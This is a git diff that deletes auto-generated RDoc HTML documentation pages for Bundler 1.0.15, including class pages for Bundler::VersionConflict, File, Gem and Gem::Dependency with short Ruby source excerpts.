-					<li><a href="../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="../Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="../Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="../Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
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-					<li><a href="../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
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-					<li><a href="../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
-					<li><a href="../Bundler/UI.html">Bundler::UI</a></li>
-				
-					<li><a href="../Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
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-					<li><a href="../Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="../Thor.html">Thor</a></li>
-				
-					<li><a href="../Thor/Actions.html">Thor::Actions</a></li>
-				
-					<li><a href="../Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
-					<li><a href="../Thor/Base.html">Thor::Base</a></li>
-				
-					<li><a href="../Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
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-				
-					<li><a href="../Thor/Error.html">Thor::Error</a></li>
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-					<li><a href="../Thor/HiddenTask.html">Thor::HiddenTask</a></li>
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-				
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-				
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-				
-					<li><a href="../Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="../Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
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-					<li><a href="../Thor/Shell.html">Thor::Shell</a></li>
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-					<li><a href="../Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="../Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="../Gem/Requirement.html">Gem::Requirement</a></li>
-				
-					<li><a href="../Gem/Specification.html">Gem::Specification</a></li>
-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::VersionConflict</h1>
-
-		<div id="description">
-			<p>
-Internal errors, should be rescued
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="conflicts-attribute-method" class="method-detail">
-				<a name="conflicts"></a>
-				
-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">conflicts</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
-
-				<div class="method-description">
-				
-				
-				
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-			</div>
-			
-		</div>
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-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
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-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(conflicts, msg = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					
-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">conflicts</span>, <span class="ruby-identifier">msg</span> = <span class="ruby-keyword kw">nil</span>)
-65:       <span class="ruby-keyword kw">super</span>(<span class="ruby-identifier">msg</span>)
-66:       <span class="ruby-ivar">@conflicts</span> = <span class="ruby-identifier">conflicts</span>
-67:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-				
-			</div>
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-	</div>
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-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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-
-</body>
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-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/File.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/File.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/File.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: File</title>
-
-	<link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
-
-	<script src="./js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="./index.html">Home</a>
-          <a href="./index.html#classes">Classes</a>
-          <a href="./index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="./lib/bundler/vendor/thor/core_ext/file_binary_read_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/core_ext/file_binary_read.rb">lib/bundler/vendor/thor/core_ext/file_binary_read.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="./images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
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-					<li><a href="./Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
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-				
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-				
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-				
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-				
-					<li><a href="./Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="./Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
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-				
-					<li><a href="./Bundler/DslError.html">Bundler::DslError</a></li>
-				
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-				
-					<li><a href="./Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="./Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="./Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="./Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="./Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="./Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="./Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="./Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="./Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="./Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="./Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="./Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="./Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="./Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="./Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="./Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="./Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="./Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="./Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="./Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="./Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="./Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="./Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="./Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="./Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="./Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="./Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="./Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="./Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="./Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
-					<li><a href="./Bundler/UI.html">Bundler::UI</a></li>
-				
-					<li><a href="./Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="./Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-				
-					<li><a href="./Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="./Thor.html">Thor</a></li>
-				
-					<li><a href="./Thor/Actions.html">Thor::Actions</a></li>
-				
-					<li><a href="./Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
-					<li><a href="./Thor/Base.html">Thor::Base</a></li>
-				
-					<li><a href="./Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
-				
-					<li><a href="./Thor/DynamicTask.html">Thor::DynamicTask</a></li>
-				
-					<li><a href="./Thor/Error.html">Thor::Error</a></li>
-				
-					<li><a href="./Thor/HiddenTask.html">Thor::HiddenTask</a></li>
-				
-					<li><a href="./Thor/Invocation.html">Thor::Invocation</a></li>
-				
-					<li><a href="./Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-				
-					<li><a href="./Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="./Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="./Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
-					<li><a href="./Thor/Shell.html">Thor::Shell</a></li>
-				
-					<li><a href="./Thor/Shell/Basic.html">Thor::Shell::Basic</a></li>
-				
-					<li><a href="./Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
-					<li><a href="./Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
-					<li><a href="./Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="./Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
-					<li><a href="./Thor/UnknownArgumentError.html">Thor::UnknownArgumentError</a></li>
-				
-					<li><a href="./Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="./Gem.html">Gem</a></li>
-				
-					<li><a href="./Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="./Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="./Gem/Requirement.html">Gem::Requirement</a></li>
-				
-					<li><a href="./Gem/Specification.html">Gem::Specification</a></li>
-				
-				</ul>
-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">File</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
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-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-
-	</div>
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-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem.html
deleted file mode 100644
index d3ee4aae..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem.html
+++ /dev/null
@@ -1,348 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Gem</title>
-
-	<link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
-
-	<script src="./js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="./js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="./index.html">Home</a>
-          <a href="./index.html#classes">Classes</a>
-          <a href="./index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="./lib/bundler/resolver_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/resolver.rb">lib/bundler/resolver.rb</a></li>
-					
-						<li><a href="./lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_ext.rb">lib/bundler/rubygems_ext.rb</a></li>
-					
-						<li><a href="./lib/bundler/shared_helpers_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/shared_helpers.rb">lib/bundler/shared_helpers.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">CLASS</span> <a href="Gem/Dependency.html">Gem::Dependency</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Gem/Platform.html">Gem::Platform</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Gem/Requirement.html">Gem::Requirement</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Gem/Specification.html">Gem::Specification</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="./lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
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-				
-					<li class="file"><a href="./lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
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-				<h3 class="section-header">Class Index
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-				
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-				
-					<li><a href="./Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-				
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-				
-					<li><a href="./Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
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-				
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-					<li><a href="./Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="./Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="./Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="./Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="./Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
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-					<li><a href="./Bundler/PathError.html">Bundler::PathError</a></li>
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-				
-					<li><a href="./Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="./Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="./Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="./Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
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-				
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-				
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-				
-					<li><a href="./Bundler/Source/Git.html">Bundler::Source::Git</a></li>
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-				
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-					<li><a href="./Thor/Actions.html">Thor::Actions</a></li>
-				
-					<li><a href="./Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
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-				
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-				
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-				
-					<li><a href="./Thor/Error.html">Thor::Error</a></li>
-				
-					<li><a href="./Thor/HiddenTask.html">Thor::HiddenTask</a></li>
-				
-					<li><a href="./Thor/Invocation.html">Thor::Invocation</a></li>
-				
-					<li><a href="./Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-				
-					<li><a href="./Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="./Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="./Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
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-				
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-				
-					<li><a href="./Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
-					<li><a href="./Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
-					<li><a href="./Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="./Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
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-				
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-				
-					<li><a href="./Gem.html">Gem</a></li>
-				
-					<li><a href="./Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="./Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="./Gem/Requirement.html">Gem::Requirement</a></li>
-				
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
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-
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-		<div id="description">
-			<p>
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-
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-
-		<!-- Methods -->
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-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Dependency.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Gem/Dependency.html
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index e04d8d25..00000000
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
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-<body class="class">
-
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-          <a href="../index.html#classes">Classes</a>
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-						<li><a href="../lib/bundler/rubygems_ext_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-							class="thickbox" title="lib/bundler/shared_helpers.rb">lib/bundler/shared_helpers.rb</a></li>
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-		</div>
-
-		<div id="class-metadata">
-
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-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
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-
-			<!-- Method Quickref -->
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-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-encode_with">#encode_with</a></li>
-					
-					<li><a href="#method-i-matches_spec%3F">#matches_spec?</a></li>
-					
-					<li><a href="#method-i-required_by">#required_by</a></li>
-					
-					<li><a href="#method-i-requirement">#requirement</a></li>
-					
-					<li><a href="#method-i-to_lock">#to_lock</a></li>
-					
-					<li><a href="#method-i-to_yaml_properties">#to_yaml_properties</a></li>
-					
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-
-			<!-- Included Modules -->
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-			<div id="fileindex-section" class="section project-section">
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-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
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-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
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-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
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-				
-					<li><a href="../Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-				
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-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
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-				
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-				
-					<li><a href="../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../Bundler/GitError.html">Bundler::GitError</a></li>
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
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-				
-					<li><a href="../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
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-					<li><a href="../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
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-	<div id="documentation">
-		<h1 class="class">Gem::Dependency</h1>
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-		</div>
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-		<!-- Constants -->
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-					<span class="method-name">source</span><span
-						class="attribute-access-type">[RW]</span>
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-				<a name="groups"></a>
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-				<a name="groups="></a>
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-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">groups</span><span
-						class="attribute-access-type">[RW]</span>
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-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="encode-with-method" class="method-detail ">
-				<a name="method-i-encode_with"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">encode_with</span><span
-						class="method-args">(coder)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
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-						id="encode-with-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_ext.rb, line 113</span>
-113:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">encode_with</span>(<span class="ruby-identifier">coder</span>)
-114:       <span class="ruby-identifier">to_yaml_properties</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">ivar</span><span class="ruby-operator">|</span>
